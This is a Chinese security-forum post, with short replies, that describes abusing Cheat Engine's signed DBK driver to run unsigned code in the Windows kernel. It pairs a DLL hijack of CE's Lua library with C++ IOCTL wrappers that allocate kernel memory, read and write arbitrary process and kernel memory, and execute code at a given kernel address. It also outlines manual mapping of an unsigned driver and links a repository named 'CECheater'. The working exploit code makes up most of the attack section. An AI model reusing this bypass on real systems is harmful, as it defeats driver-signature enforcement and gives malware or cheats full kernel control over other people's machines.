首页
社区
课程
招聘
[原创]利用CE的DBK驱动获取R0权限
2023-7-7 22:38 19896

[原创]利用CE的DBK驱动获取R0权限

2023-7-7 22:38
19896

一、分析CE7.0的DBK驱动

CE的DBK驱动提供了一些很直接的IOCTL接口,包括在分配内核中的非分页内存、执行内核代码、读写任意内存地址、建立mdl映射等,下面展示了DBK驱动通过IOCTL接口提供功能的部分源码;
这里提供了分配/释放非分页内存的功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
case IOCTL_CE_ALLOCATEMEM_NONPAGED:
    {
        struct input
        {
            ULONG Size;
        } *inp;
        PVOID address;
        int size;
 
        inp=Irp->AssociatedIrp.SystemBuffer;
        size=inp->Size;
 
        address=ExAllocatePool(NonPagedPool,size);
        *(PUINT64)Irp->AssociatedIrp.SystemBuffer=0;
        *(PUINT_PTR)Irp->AssociatedIrp.SystemBuffer=(UINT_PTR)address;
         
 
        if (address==0)
            ntStatus=STATUS_UNSUCCESSFUL;
        else
        {
            DbgPrint("Alloc success. Cleaning memory... (size=%d)\n",size);                
             
            DbgPrint("address=%p\n", address);
            RtlZeroMemory(address, size);
         
            ntStatus=STATUS_SUCCESS;
        }
 
        break;
    }
 
case IOCTL_CE_FREE_NONPAGED:
    {
        struct input
        {
            UINT64 Address;
        } *inp;
 
        inp = Irp->AssociatedIrp.SystemBuffer;
 
        ExFreePool((PVOID)(UINT_PTR)inp->Address);
 
        ntStatus = STATUS_SUCCESS;
 
        break;
    }

这里提供了给定内核地址就能直接执行内核代码的功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
case IOCTL_CE_EXECUTE_CODE:
    {      
        typedef NTSTATUS (*PARAMETERLESSFUNCTION)(UINT64 parameters);
        PARAMETERLESSFUNCTION functiontocall;
 
        struct input
        {
            UINT64  functionaddress; //function address to call
            UINT64  parameters;
        } *inp=Irp->AssociatedIrp.SystemBuffer;
        DbgPrint("IOCTL_CE_EXECUTE_CODE\n");
 
        functiontocall=(PARAMETERLESSFUNCTION)(UINT_PTR)(inp->functionaddress);
 
        __try
        {
            ntStatus=functiontocall(inp->parameters);
            DbgPrint("Still alive\n");
            ntStatus=STATUS_SUCCESS;
        }
        __except(1)
        {
            DbgPrint("Exception occured\n");
            ntStatus=STATUS_UNSUCCESSFUL;
        }
 
        break;
    }

之所以DBK驱动提供如此直白的接口但微软还能给签名,是因为DBK驱动做了一点基本的防护,在进程打开DBK驱动创建的设备对象时,它会通过进程文件对应的sig文件来校验进程文件的数字签名,如果校验失败,会打开设备对象失败,从而阻止其他进程使用DBK驱动提供的功能,这也就是为什么CE的安装目录下有sig文件;
图片描述

二、思路

我发现CE由于需要加载lua脚本,所以导入表里有lua53-64.dll,可以通过dll劫持让CE在启动之前就加载自己写的dll,dll里加载DBK驱动,并打开其创建的设备对象,之后内存加载自己写的未签名驱动并运行DriverEntry,虽然DriverEntry不是在System进程下运行的但好歹是跑了R0的代码。

三、详细步骤

1、加载DBK驱动
CreateService创建服务,但在OpenService打开服务之前需要写4个注册表项,不然DBK驱动会加载失败。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 写相关注册表
HKEY hKey;
std::wstring subKey = Format(L"SYSTEM\\CurrentControlSet\\Services\\%ws", DBK_SERVICE_NAME);
LSTATUS status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey.c_str(), 0, KEY_WRITE, &hKey);
if (ERROR_SUCCESS != status)
{
    LOG("RegOpenKeyEx failed");
    CloseServiceHandle(hService);
    CloseServiceHandle(hMgr);
    return false;
}
std::wstring AValue = Format(L"\\Device\\%ws", DBK_SERVICE_NAME);
RegSetValueEx(hKey, L"A", 0, REG_SZ, reinterpret_cast<const BYTE*>(AValue.data()), AValue.size() * sizeof(wchar_t));
std::wstring BValue = Format(L"\\DosDevices\\%ws", DBK_SERVICE_NAME);
RegSetValueEx(hKey, L"B", 0, REG_SZ, reinterpret_cast<const BYTE*>(BValue.data()), BValue.size() * sizeof(wchar_t));
std::wstring CValue = Format(L"\\BaseNamedObjects\\%ws", DBK_PROCESS_EVENT_NAME);
RegSetValueEx(hKey, L"C", 0, REG_SZ, reinterpret_cast<const BYTE*>(CValue.data()), CValue.size() * sizeof(wchar_t));
std::wstring DValue = Format(L"\\BaseNamedObjects\\%ws", DBK_THREAD_EVENT_NAME);
RegSetValueEx(hKey, L"D", 0, REG_SZ, reinterpret_cast<const BYTE*>(DValue.data()), DValue.size() * sizeof(wchar_t));

2、打开设备对象
打开设备对象后,需要将之前创建的4个注册表项删除掉。
3、利用DBK驱动提供的功能
下面是分配/释放内核中的非分页内存的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
UINT64 DBK_AllocNonPagedMem(ULONG size)
{
#pragma pack(1)
    struct InputBuffer
    {
        ULONG size;
    };
#pragma pack()
 
    InputBuffer inputBuffer;
    inputBuffer.size = size;
    UINT64 allocAddress = 0LL;
    DWORD retSize;
    if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_ALLOCATEMEM_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), &allocAddress, sizeof(allocAddress), &retSize, NULL))
    {
        LOG("DeviceIoControl IOCTL_CE_ALLOCATEMEM_NONPAGED failed");
        return 0;
    }
    return allocAddress;
}
bool DBK_FreeNonPagedMem(UINT64 allocAddress)
{
#pragma pack(1)
    struct InputBuffer
    {
        UINT64 address;
    };
#pragma pack()
 
    InputBuffer inputBuffer;
    inputBuffer.address = allocAddress;
    DWORD retSize;
    if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_FREE_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), NULL, 0, &retSize, NULL))
    {
        LOG("DeviceIoControl IOCTL_CE_FREE_NONPAGED failed");
        return false;
    }
    return true;
}

下面是读写任意进程的内存地址的代码(包括R0地址):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
bool DBK_ReadProcessMem(UINT64 pid, UINT64 toAddr, UINT64 fromAddr, DWORD size, bool failToContinue)
{
#pragma pack(1)
    struct InputBuffer
    {
        UINT64 processid;
        UINT64 startaddress;
        WORD bytestoread;
    };
#pragma pack()
 
    UINT64 remaining = size;
    UINT64 offset = 0;
    do
    {
        UINT64 toRead = remaining;
        if (remaining > 4096)
        {
            toRead = 4096;
        }
 
        InputBuffer inputBuffer;
        inputBuffer.processid = pid;
        inputBuffer.startaddress = fromAddr + offset;
        inputBuffer.bytestoread = toRead;
        DWORD retSize;
        if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_READMEMORY, (LPVOID)&inputBuffer, sizeof(inputBuffer), (LPVOID)(toAddr + offset), toRead, &retSize, NULL))
        {
            if (!failToContinue)
            {
                LOG("DeviceIoControl IOCTL_CE_READMEMORY failed");
                return false;
            }
        }
 
        remaining -= toRead;
        offset += toRead;
    } while (remaining > 0);
 
    return true;
}
bool DBK_WriteProcessMem(UINT64 pid, UINT64 targetAddr, UINT64 srcAddr, DWORD size)
{
#pragma pack(1)
    struct InputBuffer
    {
        UINT64 processid;
        UINT64 startaddress;
        WORD bytestowrite;
    };
#pragma pack()
 
    UINT64 remaining = size;
    UINT64 offset = 0;
    do
    {
        UINT64 toWrite = remaining;
        if (remaining > (512 - sizeof(InputBuffer)))
        {
            toWrite = 512 - sizeof(InputBuffer);
        }
 
        InputBuffer* pInputBuffer = (InputBuffer*)malloc(toWrite + sizeof(InputBuffer));
        if (NULL == pInputBuffer)
        {
            LOG("malloc failed");
            return false;
        }
        pInputBuffer->processid = pid;
        pInputBuffer->startaddress = targetAddr + offset;
        pInputBuffer->bytestowrite = toWrite;
        memcpy((PCHAR)pInputBuffer + sizeof(InputBuffer), (PCHAR)srcAddr + offset, toWrite);
        DWORD retSize;
        if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_WRITEMEMORY, (LPVOID)pInputBuffer, (sizeof(InputBuffer) + toWrite), NULL, 0, &retSize, NULL))
        {
            LOG("DeviceIoControl IOCTL_CE_WRITEMEMORY failed");
            free(pInputBuffer);
            return false;
        }
        free(pInputBuffer);
 
        remaining -= toWrite;
        offset += toWrite;
    } while (remaining > 0);
 
    return true;
}

下面是执行内核地址的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
bool DBK_ExecuteCode(UINT64 address)
{
#pragma pack(1)
    struct InputBuffer
    {
        UINT64 address;
        UINT64 parameters;
    };
#pragma pack()
 
    InputBuffer inputBuffer;
    inputBuffer.address = address;
    inputBuffer.parameters = 0;
    DWORD retSize;
    if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_EXECUTE_CODE, (LPVOID)&inputBuffer, sizeof(inputBuffer), NULL, 0, &retSize, NULL))
    {
        LOG("DeviceIoControl IOCTL_CE_EXECUTE_CODE failed");
        return false;
    }
    return true;
}

4、将未签名驱动映射到内核内存中并修复其RVA以及导入表,之后运行其DriverEntry
(具体代码太多了,就不展示了)
5、创建驱动项目
要注意的是,由于这个驱动运行的方式不正常,所以要将入口点改为DriverEntry,还要禁用GS防护,这样才能避免SecurityCookie引发的crash问题。
图片描述
图片描述
我在里面简单打印了点日志用于验证:

1
2
3
4
5
6
7
8
9
extern "C" NTSTATUS DriverEntry(
    IN PDRIVER_OBJECT pDriverObject,
    IN PUNICODE_STRING pRegistryPath)
{
    KdPrint(("Enter DriverEntry\n"));
 
    KdPrint(("Leave DriverEntry\n"));
    return STATUS_SUCCESS;
}

四、部署

部署目录如下:
图片描述
管理员权限启动richstuff-x86_64.exe,它会在运行前加载lua53-x64.dll,之后dll会加载richstuffk64.sys驱动并打开其创建的设备对象,再通过IO控制其映射MyDriver.sys到内存中并调用其DriverEntry。

代码以及部署见:https://github.com/TechForBad/CECheater


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2023-8-5 17:10 被昵称好麻烦编辑 ,原因: 不再直接提供源码,而是转到github里提供
收藏
点赞11
打赏
分享
最新回复 (12)
雪    币: 456
活跃值: (917)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
cjshpzh 2023-7-7 23:40
2
0
学习了,感谢分享
雪    币: 2061
活跃值: (1431)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
youxiaxy 2023-7-8 16:40
3
0
学习。感谢分享
雪    币: 19410
活跃值: (29069)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2023-7-8 22:41
4
1
感谢分享
雪    币: 155
活跃值: (411)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
mb_zdkihfht 2023-7-9 22:30
5
0
感谢分享
雪    币: 0
活跃值: (91)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
肖进_149137 2023-7-12 19:21
6
0
大佬真会玩
雪    币: 6920
活跃值: (3513)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
romobin 2023-7-14 07:46
7
0
make 好思路 受教了
雪    币: 2598
活跃值: (1054)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
挥一挥衣袖 2023-7-14 17:37
8
0
好思路 学习中
雪    币: 226
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wx_kx85566 2023-7-15 18:53
9
0
厉害了
雪    币: 126
活跃值: (907)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
我的研究 2023-8-6 12:43
11
0
网上早就有教怎么调用CE的驱动
雪    币: 0
活跃值: (60)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jwyyqd 2023-8-14 00:14
12
0
学习中 感谢分享
雪    币: 9
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
whatf 2023-8-20 23:40
13
0
能不能直接干掉DSE,正规驱动的漏洞利用为啥都是搞动态加载的
游客
登录 | 注册 方可回帖
返回